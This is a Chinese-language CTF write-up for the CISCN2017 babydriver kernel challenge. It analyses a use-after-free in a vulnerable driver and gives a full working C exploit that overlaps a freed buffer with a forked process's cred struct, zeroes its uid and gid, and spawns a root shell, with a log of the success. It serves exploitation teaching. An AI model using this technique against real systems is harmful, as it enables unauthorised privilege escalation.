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kernel-UAF

kernel UAF¶

CISCN2017 - babydriver¶

分析¶

先解压 rootfs.cpio 看一下有什么文件

CISCN2017_babydriver [master●] mkdir core
CISCN2017_babydriver [master●] cd core 
core [master●] mv ../rootfs.cpio rootfs.cpio.gz
core [master●●] gunzip ./rootfs.cpio.gz 
core [master●] ls
rootfs.cpio
core [master●] cpio -idmv < rootfs.cpio 
.
etc
etc/init.d
etc/passwd
etc/group
...
...
usr/sbin/rdev
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 块
core [master●] ls
bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
core [master●] bat init
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/sh
   2   │
   3   │ mount -t proc none /proc
   4   │ mount -t sysfs none /sys
   5   │ mount -t devtmpfs devtmpfs /dev
   6   │ chown root:root flag
   7   │ chmod 400 flag
   8   │ exec 0</dev/console
   9   │ exec 1>/dev/console
  10   │ exec 2>/dev/console
  11   │
  12   │ insmod /lib/modules/4.4.72/babydriver.ko
  13   │ chmod 777 /dev/babydev
  14   │ echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
  15   │ setsid cttyhack setuidgid 1000 sh
  16   │
  17   │ umount /proc
  18   │ umount /sys
  19   │ poweroff -d 0  -f
  20   │
───────┴────────────────────────────────────────────────────────────

根据 init 的内容，12 行加载了 babydriver.ko 这个驱动，根据 pwn 的一般套路，这个就是有漏洞的 LKM 了。init 的其他命令都是 linux 常用的命令，就不再解释了。

把这个驱动文件拿出来。

core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..
core [master●] cd ..
CISCN2017_babydriver [master●] check ./babydriver.ko
./babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
[*] '/home/m4x/pwn_repo/CISCN2017_babydriver/babydriver.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

没有开 PIE，无 canary 保护，没有去除符号表，很 nice。

用 IDA 打开分析，既然没有去除符号表，shift + F9 先看一下有什么结构体，可以发现如下的结构体：

00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000                                         ; XREF: .bss:babydev_struct/r
00000000 device_buf      dq ?                    ; XREF: babyrelease+6/r
00000000                                         ; babyopen+26/w ... ; offset
00000008 device_buf_len  dq ?                    ; XREF: babyopen+2D/w
00000008                                         ; babyioctl+3C/w ...
00000010 babydevice_t    ends
00000010

再看一下主要函数

babyioctl: 定义了 0x10001 的命令，可以释放全局变量 babydev_struct 中的 device_buf，再根据用户传递的 size 重新申请一块内存，并设置 device_buf_len。

// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
  }
  else
  {
    printk("\x013defalut:arg is %ld\n", v3, v3);
  }
}

babyopen: 申请一块空间，大小为 0x40 字节，地址存储在全局变量 babydev_struct.device_buf 上，并更新 babydev_struct.device_buf_len

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 0x24000C0LL, v2);
  return 0;
}

babyread: 先检查长度是否小于 babydev_struct.device_buf_len，然后把 babydev_struct.device_buf 中的数据拷贝到 buffer 中，buffer 和长度都是用户传递的参数

void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_to_user(buffer, babydev_struct.device_buf, v4);
  }
}

babywrite: 类似 babyread，不同的是从 buffer 拷贝到全局变量中

void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_from_user(babydev_struct.device_buf, buffer, v4);
  }
}

babyrelease: 释放空间，没什么好说的

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}

还有 babydriver_init() 和 babydriver_exit() 两个函数分别完成了 /dev/babydev 设备的初始化和清理，查一下函数的用法即可，不再分析。

思路¶

没有用户态传统的溢出等漏洞，但存在一个伪条件竞争引发的 UAF 漏洞。

也就是说如果我们同时打开两个设备，第二次会覆盖第一次分配的空间，因为 babydev_struct 是全局的。同样，如果释放第一个，那么第二个其实是被是释放过得，这样就造成了一个 UAF。

那么有了 UAF 要怎么用呢？之前提到了 cred 结构体，可以修改 cred 来提权到 root。

其中 4.4.72 的 cred 结构体定义如下：

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

那么根据 UAF 的思想，思路如下：

打开两次设备，通过 ioctl 更改其大小为 cred 结构体的大小
释放其中一个，fork 一个新进程，那么这个新进程的 cred 的空间就会和之前释放的空间重叠
同时，我们可以通过另一个文件描述符对这块空间写，只需要将 uid，gid 改为 0，即可以实现提权到 root

需要确定 cred 结构体的大小，有了源码，大小就很好确定了。计算一下是 0x8a（注意使用相同内核版本的源码）。

Exploit¶

注释都写在代码里了，exploit here

CISCN2017_babydriver [master●●] cat exploit.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0x8a);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通过更改 fd2，修改新进程的 cred 的 uid，gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

get root shell¶

// 静态编译文件，kernel 中没有 libc
CISCN2017_babydriver [master●●] gcc exploit.c -static -o exploit
CISCN2017_babydriver [master●●] file exploit
exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=90aabed5497b6922fda3d5118e4aa9cb2fa5ccc5, not stripped
// 把编译好的 exp 解压后的目录下，重新打包 rootfs.cpio
CISCN2017_babydriver [master●●] cp exploit core/tmp 
CISCN2017_babydriver [master●●] cd core 
core [master●●] find . | cpio -o --format=newc > rootfs.cpio
7017 块
core [master●●] cp rootfs.cpio ..
core [master●●] cd ..
// kvm 需要有 root 权限
CISCN2017_babydriver [master●●] sudo ./boot.sh
......
......

/ $ ls /tmp/
exploit
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ /tmp/exploit
[   14.376187] device open
[   14.376715] device open
[   14.377201] alloc done
[   14.377629] device release
[+] root now.
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ #